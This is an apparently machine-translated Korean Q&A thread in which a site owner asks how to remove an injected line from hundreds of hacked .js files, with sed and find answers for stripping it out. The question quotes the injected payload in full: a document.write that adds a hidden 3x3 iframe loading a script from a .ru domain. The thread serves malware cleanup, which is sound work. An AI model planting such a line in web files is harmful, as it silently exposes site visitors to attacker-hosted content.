2012-11-11 3 views
1

내가 해킹 삭제하고 내가 노력하고있어이 코드 라인의 .js 파일의 수백을 가지고 나오지도 사용이 없애 :문자열이

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); 

그것은 파일의 마지막 라인 만

sed -i '/sitecorporatemanagement.ru/d' * 

는 파일의 전체 내용을 삭제 : 나는이 이제까지 할 때 때문에 파일, 윈도우 라인 엔딩을 포함 생각합니다. 이 일을하도록 도와 주시겠습니까? 난 그냥 전체 문자열을 삭제해야합니다.

도움을 주셔서 감사합니다.

+0

종종 'dos2unix' 명령으로 개행 문자를 전환 할 수 있습니다. – jahroy

+0

원본 컨트롤에서 사이트로 돌아가서 원래 코드에서 다시 빌드 할 수 있습니까? –

+3

'sed -i '$ d'$ file'로 파일의 마지막 줄을 삭제할 수 있습니다. Windows 스타일의 개행 문자로 인해 문제가 발생하지 않아야합니다. 라인 끝 부분에 LF가 있습니다. –

답변

1

문제가되는 코드를 다음과 같이 제거하여 효과적이었습니다.

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \; 
+0

x 뒤에 나 자신의 대답을 받아 들여야합니까? 시간. 행운을 빕니다. – shellter